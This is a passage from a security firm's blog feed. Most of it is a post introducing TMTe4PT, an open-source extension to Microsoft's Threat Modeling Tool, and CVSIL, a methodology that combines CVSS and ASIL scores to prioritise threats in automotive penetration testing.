&lt;p>This second guest lecture demonstrated that man itself could be the weakest part. Using social engineering technical measures can be bypassed rather easily. Especially for students, most focusing only on technical security, this lecture broadened their horizons allowing them to see the bigger picture of IT security.&lt;/p></description></item><item><title>Threat Modeling with TMTe4PT</title><link>https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/</link><author>Michael Wolf</author><pubDate>Wed, 20 Feb 2019 09:00:00 +0100</pubDate><category>threat modeling</category><category>toolrelease</category><category>automotive security</category><category>secforcars</category><category>embedded security</category><description>
&lt;p>From a traditional point of view, vehicles used to be closed systems in which components communicated between each other over a central vehicle bus and no connection to remote systems was possible. However, this has drastically changed during the last years with increasing connectivity and autonomy of today&amp;rsquo;s vehicles. While car manufacturers have a long experience in dealing with safety problems, dealing with security risks raised by this development is a relatively new domain for them.&lt;/p>
&lt;p>This has also implications on the process of identifying potential safety and security risks. On the one side, there is a well established process measuring safety risks. For example, if one million devices are inspected and ten will fail, the probability of one device failing can be calculated quite accurately. On the other side, security risks in the automotive domain can hardly be measured and testing processes are not standardized yet. For instance, it is not possible to prove the absence of vulnerabilities, only that none are found with a certain amount of effort.&lt;/p>
&lt;p>Furthermore, safety and security analysis are mostly conducted separately. This is especially a problem for security risks which might have implications on the safety side. Therefore, a holistic threat analysis approach for vehicles should include both the analysis of safety and security risks with their mutual influences and dependencies.&lt;/p>
&lt;p>Due to the fairly new field of merging safety and security, not many threat models exist in research. Up to our knowledge, none of the existing models support &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of vehicles by providing a ranking system and tool support. Since we regularly perform threat modelling in this domain as part of our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, filling this gap was the main goal of this thesis.&lt;/p>
&lt;h2 id="existing-threat-models">Existing Threat Models&lt;/h2>
&lt;p>The following existing threat models combining safety and security were analyzed with respect to our criteria for automotive penetration testing: &lt;strong>S&lt;/strong>tandard based, Not &lt;strong>At&lt;/strong>tacker based, &lt;strong>R&lt;/strong>ating provided, &lt;strong>Au&lt;/strong>tomation possible, &lt;strong>T&lt;/strong>ool available, &lt;strong>L&lt;/strong>ow complexity.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:left">Threat Model&lt;/th>
&lt;th style="text-align:center">S&lt;/th>
&lt;th style="text-align:center">At&lt;/th>
&lt;th style="text-align:center">R&lt;/th>
&lt;th style="text-align:center">Au&lt;/th>
&lt;th style="text-align:center">T&lt;/th>
&lt;th style="text-align:center">L&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:left">Composite Threat Model&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">SGM&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">STRIDE&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">SAHARA&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">CHASSIS&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">FMVEA&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">HEAVENS&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">EVITA&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">SINA&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">Y&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">OCTAVE&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">PASTA&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">Trike&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">VAST&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;td style="text-align:center">&amp;hellip;&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>None of the evaluated threat models shown in the table above fit our criteria perfectly. So we have decided to build our own model based on the three existing models STRIDE, Composite Threat Model, and SGM.&lt;/p>
&lt;p>The most important factor for us was an existing tool support. Therefore, we have chosen STRIDE as our threat classification and generation model. The other models, like SAHARA or FMVEA which use the STRIDE threat modeling approach have added unwanted functionality, but they inspired us to do the same. The VAST model fulfilled the same criteria as STRIDE. However, their ThreatModeler tool is not free and we haven’t found any scientific analysis of this method.&lt;/p>
&lt;p>The reason for choosing the Composite Threat Model over the other models, which combined safety and security, was it’s simplicity in the calculation of the threat level and the use of the metrics we have selected for our own methodology.&lt;/p>
&lt;p>The SGM was perfect suited for our cause in fulfilling the role of providing a simple and structured safety method which can be utilized to generate security threats.&lt;/p>
&lt;h2 id="existing-tools">Existing Tools&lt;/h2>
&lt;p>In the table below all tools are listed and evaluated based on the following criteria:
For a better visualization of the system, the possibility to draw a Data Flow Diagram (&lt;strong>DFD&lt;/strong>) is required. Because no tool has features specifically for the automotive domain, it has to be &lt;strong>expandable&lt;/strong> to an extend that the user can implement the missing components. In order to reduce the workload for the security expert, it has to &lt;strong>generate the threats&lt;/strong> automatically based on the diagram drawn and pre-defined rules.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:left">Application&lt;/th>
&lt;th style="text-align:center">DFD&lt;/th>
&lt;th style="text-align:center">Expandable&lt;/th>
&lt;th style="text-align:center">Threat Generation&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://continuumsecurity.net/threat-modeling-tool/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IriusRisk&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.apsec.de/de/produkte/tools/it-infrastruktursimulation/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">securiCAD&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://threatmodeler.com/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ThreatModeler&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://threatdragon.org"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Threat&lt;/span>
&lt;/a>&lt;a
href="https://threatdragon.org"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Dragon&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/mozilla/seasponge"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Sea&lt;/span>
&lt;/a>&lt;a
href="https://github.com/mozilla/seasponge"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Sponge&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:left">&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Threat&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Modeling&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tool&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;td style="text-align:center">X&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Two programs, the ThreatModeler and Microsofts' Threat Modeling Tool (TMT) fulfill all of our requirements. We have chosen the TMT, because it is free and it is based on STRIDE.&lt;/p>
&lt;h2 id="the-cvsil-threat-modeling-methodology">The CVSIL Threat Modeling Methodology&lt;/h2>
&lt;p>As noted above, we have created our own novel threat methodology called CVSIL combining Common Vulnerability Scoring System (CVSS) and Automotive Safety Integrity Level (ASIL) which should support prioritizing threats based on their damage potential. It combines the outcome of a Hazard Analysis and Risk Assessment (HARA) with the results from using Microsofts’ Threat Modeling Tool (TMT) 2016. In short, with our solution, the faults from the HARA have to be mapped to fitting threats from the TMT. Then, the Collateral Damage Potential (CDP) metric can be derived from ASIL calculation for each fault, and so the CVSS overall score can be calculated and used as risk level.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/CVSIL-Page-2_hu120b0f4e4eba53ac38c272f3f71fe420_56575_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/CVSIL-Page-2_hu120b0f4e4eba53ac38c272f3f71fe420_56575_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/CVSIL-Page-2_hu120b0f4e4eba53ac38c272f3f71fe420_56575_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/CVSIL-Page-2.png"
width="801"
height="566"
alt="Image of the &amp;#34;Setting CDP&amp;#34; Phase of the CVSIL Methodology with Input (blue)"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Image of the &amp;#34;Setting CDP&amp;#34; Phase of the CVSIL Methodology with Input (blue)&lt;/figcaption>
&lt;/figure>
&lt;p>The figure above is showing a small part of the whole threat model, the &lt;em>Setting CDP&lt;/em> phase of the CVSIL methodology with &lt;em>Input&lt;/em> (blue), &lt;em>Output&lt;/em> (green) and &lt;em>Examples&lt;/em> (cyan). The example illustrates how the &lt;em>Severity&lt;/em> (S) and &lt;em>Controllability&lt;/em> (C) from the ASIL analysis at the end of the HARA can be mapped to a CDP value and than used in determining the CVSS score. For the complete model and explanation we refer to our master thesis.&lt;/p>
&lt;h2 id="threat-modeling-tool-extension-for-penetration-tester">Threat Modeling Tool Extension for Penetration Tester&lt;/h2>
&lt;p>We developed the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Threat&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Modeling&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tool&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Extension&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tester&lt;/span>
&lt;/a>&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(TMTe4PT)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> as an open source tool in form of an extension for the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Microsoft&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Threat&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Modeling&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tool&lt;/span>
&lt;/a>&lt;a
href="https://www.microsoft.com/en-us/download/details.aspx?id=49168"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2016&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
with an adapted version of the automotive threat modeling template from the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/july/the-automotive-threat-modeling-template/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">NCC&lt;/span>
&lt;/a>&lt;a
href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/july/the-automotive-threat-modeling-template/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Group&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. The app was written in JavaScript using the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://vuejs.org/v2/guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Vue.js&lt;/span>
&lt;/a>&lt;a
href="https://vuejs.org/v2/guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(v2.5.2)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
framework and can be bundled in a single static HTML file and therefore used in any modern browser.&lt;/p>
&lt;p>Our tool adds the calculation of the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.first.org/cvss/v2/guide"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Common&lt;/span>
&lt;/a>&lt;a
href="https://www.first.org/cvss/v2/guide"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Vulnerability&lt;/span>
&lt;/a>&lt;a
href="https://www.first.org/cvss/v2/guide"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Scoring&lt;/span>
&lt;/a>&lt;a
href="https://www.first.org/cvss/v2/guide"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">System&lt;/span>
&lt;/a>&lt;a
href="https://www.first.org/cvss/v2/guide"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">v2&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for each threat generated by the TMT, as well as the option of bulk modifications.
With the filtering and sorting of the tabular data, it is possible for a penetration tester to find the threats which match his/her criteria and therefore supports in prioritizing test activities (e.g., a tester wants to find the threats with the highest CVSS Score with &lt;em>Ethernet&lt;/em> as &lt;em>Interaction&lt;/em> and a &lt;em>Local&lt;/em> (L) &lt;em>Access Vector&lt;/em>).&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/TMTe4PTModify_hu79b9392dddbc0b8c8f8b37456d3ddc55_59224_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/TMTe4PTModify_hu79b9392dddbc0b8c8f8b37456d3ddc55_59224_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/TMTe4PTModify_hu79b9392dddbc0b8c8f8b37456d3ddc55_59224_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/TMTe4PTModify.png"
width="1904"
height="932"
alt="Image of the Modify the Threats Tab of the TMTe4PT tool."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Image of the Modify the Threats Tab of the TMTe4PT tool.&lt;/figcaption>
&lt;/figure>
&lt;p>&lt;strong>Summarized Features&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Adding CVSS calculation to threats generated by the Microsoft TMT 2016&lt;/li>
&lt;li>Import of the &lt;em>save&lt;/em> (.tm7) and &lt;em>report&lt;/em> (.htm) file of the TMT&lt;/li>
&lt;li>Filtering the threats with a simple query logic&lt;/li>
&lt;li>Bulk modification of threats&lt;/li>
&lt;li>Export of the data and/or query in json format&lt;/li>
&lt;/ul>
&lt;p>For a detailed explanation of each feature and how they are used, we refer to the documentation of our tool on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.github.com/schutzwerk/tmte4pt"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>A ready-to-use version is provided on GitHub in the &lt;code>testFiles&lt;/code> folder with some sample data. The file &lt;code>TMTe4PT.html&lt;/code> has to be opened in a web browser and the &lt;em>report&lt;/em> and &lt;em>save&lt;/em> file from MS TMT 2016 need to be loaded. After that, the CVSS score can be set for each of the generated threats.&lt;/p>
&lt;p>For more information about our embedded services see &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
or contact us.&lt;/p>
&lt;figure
style="width: 250px; float: left;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/BMBF_gefoerdert_2017_en_hu258a6a729d061aa41a5cf50976c5f856_23858_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/BMBF_gefoerdert_2017_en_hu258a6a729d061aa41a5cf50976c5f856_23858_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/BMBF_gefoerdert_2017_en_hu258a6a729d061aa41a5cf50976c5f856_23858_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/BMBF_gefoerdert_2017_en.jpg"
width="250"
height="190"
alt="blog image"
/>
&lt;/picture>
&lt;/figure>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Disclaimer: This tool and methodology was developed by Michael Wolf as part of the Master Thesis &amp;ldquo;Combining Safety and Security Threat Modeling to Improve Automotive Penetration Testing&amp;rdquo;. The work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.forschung-it-sicherheit-kommunikationssysteme.de/projekte/sicherheit-fuer-vernetzte-autonome-fahrzeuge"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisor Dr. Bastian Könings) in cooperation with the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Institute&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Distributed&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
at Ulm University (referee: Prof. Dr. Frank Kargl, supervisor Dr. Rens van der Heijden), and the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-karlsruhe.de/ieem/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Institute&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-karlsruhe.de/ieem/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-karlsruhe.de/ieem/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
